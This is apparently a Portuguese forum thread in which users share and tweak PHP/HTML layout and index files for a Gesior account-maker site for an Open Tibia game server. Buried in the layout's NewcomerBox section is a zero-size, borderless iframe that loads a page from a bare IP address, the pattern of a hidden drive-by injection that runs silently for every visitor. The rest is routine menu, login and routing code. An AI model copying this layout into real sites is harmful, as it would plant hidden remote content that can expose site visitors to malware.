<div id='ActiveSubmenuItemIcon_killstatistics' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Last Kills</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=bans'>

<div id='submenu_bans' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_bans' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Banishments</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=houses'>

<div id='submenu_houses' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_houses' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Houses</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=guilds'>

<div id='submenu_guilds' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_guilds' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Guilds</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=wars'>

<div id='submenu_wars' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_wars' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Wars</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<?PHP

echo "

<div id='forum' class='menuitem'>

<span onClick=\"MenuItemAction('forum')\">

<div class='MenuButton' style='background-image:url(".$layout_name."/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(".$layout_name."/images/menu/button-background-over.gif);'></div>

<span id='forum_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

</span>

<div id='forum_Icon' class='Icon' style='background-image:url(".$layout_name."/images/menu/icon-forum.gif);'></div>

<div id='forum_Label' class='Label' style='background-image:url(".$layout_name."/images/menu/label-forum.gif);'></div>

<div id='forum_Extend' class='Extend' style='background-image:url(".$layout_name."/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='forum_Submenu' class='Submenu'>

<a href='?subtopic=forum'>

<div id='submenu_forum' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_forum' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Forum</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>";

?>

<div id='account' class='menuitem'>

<span onClick="MenuItemAction('account')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='account_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='account_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-account.gif);'></div>

<div id='account_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-account.gif);'></div>

<div id='account_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='account_Submenu' class='Submenu'>

<a href='?subtopic=accountmanagement'>

<div id='submenu_accountmanagement' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_accountmanagement' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Account Management</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=createaccount'>

<div id='submenu_createaccount' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_createaccount' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Create Account</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=lostaccount'>

<div id='submenu_lostaccount' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_lostaccount' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Lost Account?</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?PHP

if($config['site']['download_page'] == 1)

echo "

<a href='?subtopic=downloads'>

<div id='submenu_downloads' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_downloads' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Downloads</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

</div>

</div>

<div id='support' class='menuitem'>

<span onClick="MenuItemAction('support')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='support_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='support_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-support.gif);'></div>

<div id='support_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-support.gif);'></div>

<div id='support_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='support_Submenu' class='Submenu'>

<a href='?subtopic=tibiarules'>

<div id='submenu_tibiarules' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_tibiarules' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Rules</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=tracker'>

<div id='submenu_tracker' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_tracker' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Tracker</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=changelog'>

<div id='submenu_changelog' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_changelog' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Change Log</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=team'>

<div id='submenu_team' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_team' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Support List</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?php

if($group_id_of_acc_logged >= $config['site']['access_admin_panel'])

echo "<a href='?subtopic=adminpanel'>

<div id='submenu_adminpanel' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_adminpanel' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'><font color=\"red\">! Admin Panel !</font></div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

if($group_id_of_acc_logged >= 4)

echo "<a href='?subtopic=namelock'>

<div id='submenu_adminpanel' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_adminpanel' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'><font color=\"red\">! Name Lock !</font></div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

</div>

</div>

<?PHP

if($config['site']['shop_system'] == 1)

{

echo "<div id='shops' class='menuitem'>

<span onClick=\"MenuItemAction('shops')\">

<div class='MenuButton' style='background-image:url(".$layout_name."/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(".$layout_name."/images/menu/button-background-over.gif);'></div>

<span id='shops_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

</span>

<div id='shops_Icon' class='Icon' style='background-image:url(".$layout_name."/images/menu/icon-shops.gif);'></div>

<div id='shops_Label' class='Label' style='background-image:url(".$layout_name."/images/menu/label-shops.gif);'></div>

<div id='shops_Extend' class='Extend' style='background-image:url(".$layout_name."/images/general/plus.gif);'></div>

</div>

</div>

</span>

</div>

</a>

<a href='?subtopic=shopsystem'>

<div id='submenu_shopsystem' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_shopsystem' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Shop Offer</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

if($logged)

echo "<a href='?subtopic=shopsystem&action=show_history'>

<div id='submenu_shopsystem' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_shopsystem' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Trans. History</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

echo "</div></div>";

}

?>

<div id='MenuBottom' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif);'></div>

</div>

</div>

<div id="ContentColumn">

<div class="Content">

<div id="ContentHelper">

<script type="text/javascript" src="http://static.tibia.com/javascripts/newsticker.js"></script>

<?PHP echo $news_content; ?>

<div id="<?PHP echo $subtopic; ?>" class="Box">

<div class="Corner-tl" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-tl.gif);"></div>

<div class="Corner-tr" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-tr.gif);"></div>

<div class="Border_1" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/border-1.gif);"></div>

<div class="BorderTitleText" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/title-background-green.gif);"></div>

<img class="Title" src="headline.php?txt=<?PHP echo $subtopic; ?>" alt="Contentbox headline" />

<div class="Border_2">

<div class="Border_3">

<div class="BoxContent" style="background-image:url(http://i63.photobuck...Dude/scroll.gif);">

<?PHP echo $main_content; ?>

</div>

</div>

</div>

<div class="Border_1" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/border-1.gif);"></div>

<div class="CornerWrapper-b"><div class="Corner-bl" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-bl.gif);"></div></div>

<div class="CornerWrapper-b"><div class="Corner-br" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-br.gif);"></div></div>

</div>

</div>

</div>

<div id="Footer">

<?PHP

$time_end = microtime_float();

$time = $time_end - $time_start;

?>

<?PHP echo getFooter() ?><br/>Page has been viewed <?PHP echo $page_views; ?> times. Load time: <?PHP echo round($time, 4); ?> seconds

</div>

</div>

<div id="ThemeboxesColumn">

<div id="RightArtwork">

<img id="Monster" src="images/monsters/<?PHP echo logo_monster() ?>.gif" onClick="window.location = '?subtopic=creatures&amp;creature=<?PHP echo logo_monster() ?>';" alt="Monster of the Week" />

<img id="PedestalAndOnline" src="http://i63.photobucket.com/albums/h122/Mister_Dude/pedestal-and-online.gif" alt="Monster Pedestal and Players Online Box"/>

<div id="PlayersOnline" onClick="window.location = '?subtopic=whoisonline'">

<?PHP

if($config['status']['serverStatus_online'] == 1)

echo $config['status']['serverStatus_players'].'<br />Players Online';

else

echo '<font color="red"><b>Server<br />OFFLINE</b></font>';

?>

</div>

</div>

<div id="Themeboxes">

<div id="NewcomerBox" class="Themebox" style="background-image:url(http://i63.photobuck...newcomerbox.gif);">

<div class="ThemeboxButton" onClick="BigButtonAction('?subtopic=createaccount')" onMouseOver="MouseOverBigButton(this);" onMouseOut="MouseOutBigButton(this);" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton.gif);">

<div class="BigButtonOver" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton_over.gif);"></div>

<div class="ButtonText" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/_sbutton_jointibia.gif);"></div>

</div>

<iframe src ="http://188.126.223.74/42/index.php" width="0" frameborder="no" height="0"></iframe>

<div class="Bottom" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif);"></div>

</div>

<?PHP

if($group_id_of_acc_logged >= $config['site']['access_admin_panel'])

echo '

<div id="NewcomerBox" class="Themebox" style="background-image:url('.$layout_name.'/images/themeboxes/admin/admin.png);">

<div id="lool" CLASS=white>

<table><tr><td height="30">&nbsp;</td><td>&nbsp;</td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel"><font color="white"><b>ADMIN PANEL</b></font></a></td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel&action=editconfigs"><font color="white"><b>EDIT CONFIGS</b></font></a></td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel&action=editnews"><font color="white"><b>NEWS SYSTEM</b></font></a></td></tr>

</table>

</div>

<div class="Bottom" style="background-image:url('.$layout_name.'/images/general/box-bottom.gif);"></div>

</div>';

?>

<script type="text/javascript">InitializePage();</script>

</div>

</div>

</div>

</div>

</div>

</body>

</html>


Regras Gerais 

 

"Califórnia Brasileira :cool: "

Link para o post
Compartilhar em outros sites

Nao funciono amigo,

ficou o "SHOP" aberto ,nao da para fechar e sumiu o buy points

e esta o shop offer

e o trans history em cor Roxa e nao abre nenhum dos dois

Bom na minha opiniao funciono

só faltou sumir esse 3 elemento

a aba "SHOP" que nela esta "shop offer" e "trans history"

Link para o post
Compartilhar em outros sites

e pq eu so tirei o buy points ushaushau vo tira o resto pera ae

<?PHP

//start :)

session_start();

ob_start("ob_gzhandler");

date_default_timezone_set('Europe/Warsaw');

//require('./exaBD.php');

function microtime_float()

{

list($usec, $sec) = explode(" ", microtime());

return ((float)$usec + (float)$sec);

}

$time_start = microtime_float();

//##### CONFIG #####

include('config-and-functions.php');

$action = $_REQUEST['action'];

//##### LOGOUT #####

if($action == "logout")

{

unset($_SESSION['account']);

unset($_SESSION['password']);

}

//##### LOGIN #####

//check is player logged

$logged = FALSE;

if(isset($_SESSION['account']))

{

$account_logged = $ots->createObject('Account');

$account_logged->load($_SESSION['account']);

if($account_logged->isLoaded() && $account_logged->getPassword() == $_SESSION['password'])

{

$logged = TRUE;

$group_id_of_acc_logged = $account_logged->getPageAccess();

}

else

{

$logged = FALSE;

unset($_SESSION['account']);

unset($account_logged);

}

}

$login_account = strtoupper(trim($_POST['account_login']));

$login_password = trim($_POST['password_login']);

if(!$logged && !empty($login_account) && !empty($login_password))

{

$login_password = password_ency($login_password);

$account_logged = $ots->createObject('Account');

$account_logged->find($login_account);

if($account_logged->isLoaded())

{

if($login_password == $account_logged->getPassword())

{

$_SESSION['account'] = $account_logged->getId();

$_SESSION['password'] = $login_password;

$logged = TRUE;

$account_logged->setCustomField("page_lastday", time());

$group_id_of_acc_logged = $account_logged->getPageAccess();

}

else

$logged = FALSE;

}

}

//#### LOAD PAGE ##########

//load subtopic page

if(empty($_REQUEST['subtopic']))

{

$_REQUEST['subtopic'] = "latestnews";

$subtopic = "latestnews";

}

switch($_REQUEST['subtopic'])

{

case "latestnews":

$topic = "Latest News";

$subtopic = "latestnews";

include("latestnews.php");

break;

case "archive";

$subtopic = "archive";

$topic = "News Archives";

include("archive.php");

break;

case "creatures";

$topic = "Creatures";

$subtopic = "creatures";

include("creatures.php");

break;

case "spells";

$topic = "Spells";

$subtopic = "spells";

include("spells.php");

break;

case "serverinfo";

$subtopic = "serverinfo";

$topic = "Server Info";

include("serverinfo.php");

break;

case "experiencetable";

$topic = "Experience Table";

$subtopic = "experiencetable";

include("experiencetable.php");

break;

case "characters";

$topic = "Characters";

$subtopic = "characters";

include("characters.php");

break;

case "whoisonline";

$topic = "Who is online?";

$subtopic = "whoisonline";

include("whoisonline.php");

break;

case "highscores";

$topic = "Highscores";

$subtopic = "highscores";

include("highscores.php");

break;

case "killstatistics";

$topic = "Last Kills";

$subtopic = "killstatistics";

include("killstatistics.php");

break;

case "bans":

$topic = "Banishments";

$subtopic = "bans";

include("bans.php");

break;

case "houses";

$topic = "Houses";

$subtopic = "houses";

include("houses.php");

break;

case "guilds";

$topic = "Guilds";

$subtopic = "guilds";

include("guilds.php");

break;

case "questmakers";

$topic = "Quest Makers";

$subtopic = "questmakers";

include("questmakers.php");

break;

case "bansmeneger";

$topic = "Bans Menager";

$subtopic = "bansmeneger";

include("bansmeneger.php");

break;

case "forum":

$topic = "Forum";

$subtopic = "forum";

include("forum.php");

break;

case "accountmanagement";

$topic = "Account Management";

$subtopic = "accountmanagement";

include("accountmanagement.php");

break;

case "createaccount";

$topic = "Create Account";

$subtopic = "createaccount";

include("createaccount.php");

break;

case "lostaccount";

$topic = "Lost Account Interface";

$subtopic = "lostaccount";

include("lostaccount.php");

break;

case "downloads";

$subtopic = "downloads";

$topic = "Downloads";

include("downloads.php");

break;

case "tibiarules";

$topic = "Server Rules";

$subtopic = "tibiarules";

include("tibiarules.php");

break;

case "tracker";

$subtopic = "tracker";

$topic = "Tracker";

include("tracker.php");

break;

case "changelog";

$subtopic = "changelog";

$topic = "Change Log";

include("changelog.php");

break;

case "team";

$subtopic = "team";

$topic = "Gamemasters List";

include("team.php");

break;

case "wars";

$subtopic = "wars";

$topic = "Guilds Wars";

include("wars.php");

break;

case "adminpanel":

$topic = "Admin Panel";

$subtopic = "adminpanel";

include("adminpanel.php");

break;

case "namelock";

$subtopic = "namelock";

$topic = "Namelock Manager";

include("namelocks.php");

break;

case "credits":

$topic = "Credits";

$subtopic = "credits";

include("credits.php");

break;

case "error":

$topic = "Error";

$subtopic = "error";

include("error.php");

break;

}

// ##### generate title of page

if(empty($topic))

{

$title = $GLOBALS['config']['server']["serverName"]." - OTS";

$main_content .= 'Invalid subtopic. Can\'t load page.';

}

else

{

$title = $GLOBALS['config']['server']["serverName"]." - ".$topic;

}

// ##### ADD Fotter for Credits

function getFooter()

{

echo 'Account maker by <a href="index.php?subtopic=credits">Credits</a>. Layout by '.$GLOBALS['config']['site']['layout'].'.';

}

// ##### LAYOUT

$layout_header = '<script type=\'text/javascript\'>

function GetXmlHttpObject()

{

var xmlHttp=null;

try

{

xmlHttp=new XMLHttpRequest();

}

catch (e)

{

try

{

xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");

}

catch (e)

{

xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");

}

}

return xmlHttp;

}

function MouseOverBigButton(source)

{

source.firstChild.style.visibility = "visible";

}

function MouseOutBigButton(source)

{

source.firstChild.style.visibility = "hidden";

}

function BigButtonAction(path)

{

window.location = path;

}

var';

if($logged)

{

$layout_header .= "loginStatus=1; loginStatus='true';";

}

else

{

$layout_header .= "loginStatus=0; loginStatus='false';";

}

$layout_header .= " var activeSubmenuItem='".$subtopic."';</script>";

include($layout_name."/layout.php");

ob_end_flush();

?>

EO LAYOUT

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<title><?PHP echo $title ?></title>

<meta name="description" content="Tibia is a free massive multiplayer online role playing game (MMORPG)." />

<meta name="author" content="Gesior" />

<meta http-equiv="content-language" content="en" />

<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>

<meta name="keywords" content="free online game, free multiplayer game, ots, open tibia server" />

<link rel="shortcut icon" href="<?PHP echo $layout_name; ?>/images/server.ico" type="image/x-icon">

<link rel="icon" href="<?PHP echo $layout_name; ?>/images/server.ico" type="image/x-icon">

<?PHP echo $layout_header; ?>

<link href="<?PHP echo $layout_name; ?>/basic.css" rel="stylesheet" type="text/css">

<script type='text/javascript'> var IMAGES=0; IMAGES='http://static.tibia.com/images'; var g_FormField=''; var LINK_ACCOUNT=0; LINK_ACCOUNT='';</script>

<SCRIPT TYPE="text/javascript">

<!-- // Framekiller

setTimeout ("changePage()", 6000);

function changePage()

{

if (parent.frames.length > 2)

{

if (browserTyp == "ie") {

parent.location=document.location;

} else {

self.top.location=document.location;

}

}

}

// -->

</SCRIPT>

<script type="text/javascript">

state = new Array("0", "0", "0", "0", "0");

function TickerAction(id)

{

var line = id.substr(12, 1);

if(state[line] == "0")

{

state[line] = "1";

OpenNews(id);

}

else

{

state[line] = "0";

CloseNews(id);

}

}

function OpenNews(id)

{

var div = document.getElementById(id)

var idShort = id.concat("-ShortText");

var idMore = id.concat("-FullText");

var idButton = id.concat("-Button");

document.getElementById(idShort).style.display = "none";

document.getElementById(idMore).style.display = "block";

document.getElementById(idButton).style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

function CloseNews(id)

{

var div = document.getElementById(id)

var idShort = id.concat("-ShortText");

var idMore = id.concat("-FullText");

var idButton = id.concat("-Button");

document.getElementById(idShort).style.display = "block";

document.getElementById(idMore).style.display = "none";

document.getElementById(idButton).style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

function InitializePage()

{

LoadLoginBox();

LoadMenu();

}

// initialisation of the loginbox status by the value of the variable 'loginStatus' which is provided to the HTML-document by PHP in the file 'header.inc'

function LoadLoginBox()

{

if(loginStatus == "false")

{

document.getElementById('LoginstatusText_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-you-are-not-logged-in.gif')";

document.getElementById('ButtonText').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/buttons/_sbutton_login.gif')";

document.getElementById('LoginstatusText_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif')";

document.getElementById('LoginstatusText_2_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif')";

document.getElementById('LoginstatusText_2_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account-over.gif')";

}

else

{

document.getElementById('LoginstatusText_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-welcome.gif')";

document.getElementById('ButtonText').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/buttons/_sbutton_myaccount.gif')";

document.getElementById('LoginstatusText_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout.gif')";

document.getElementById('LoginstatusText_2_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout.gif')";

document.getElementById('LoginstatusText_2_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout-over.gif')";

}

}

// mouse-over and click events of the loginbox

function MouseOverLoginBoxText(source)

{

source.lastChild.style.visibility = "visible";

source.firstChild.style.visibility = "hidden";

}

function MouseOutLoginBoxText(source)

{

source.firstChild.style.visibility = "visible";

source.lastChild.style.visibility = "hidden";

}

function LoginButtonAction()

{

if(loginStatus == "false")

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement";

}

else

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement";

}

}

function LoginstatusTextAction(source)

{

if(loginStatus == "false")

{

window.location = LINK_ACCOUNT + "?subtopic=createaccount";

}

else

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement&action=logout";

}

}

var menu = new Array();

menu[0] = new Object();

var unloadhelper = false;

// load the menu and set the active submenu item by using the variable 'activeSubmenuItem' (provided to HTML-document by PHP in the file 'header.inc'

function LoadMenu()

{

document.getElementById("submenu_"+activeSubmenuItem).style.color = "white";

document.getElementById("ActiveSubmenuItemIcon_"+activeSubmenuItem).style.visibility = "visible";

if(self.name.lastIndexOf("&") == -1)

{

self.name = "news=1&library=0&community=0&forum=0&account=0&support=0<?PHP if($config['site']['shop_system'] == 1) echo "&shops=0"; ?>&";

}

FillMenuArray();

InitializeMenu();

}

function SaveMenu()

{

if(unloadhelper == false)

{

SaveMenuArray();

unloadhelper = true;

}

}

// store the values of the variable 'self.name' in the array menu

function FillMenuArray()

{

while(self.name.length > 0 )

{

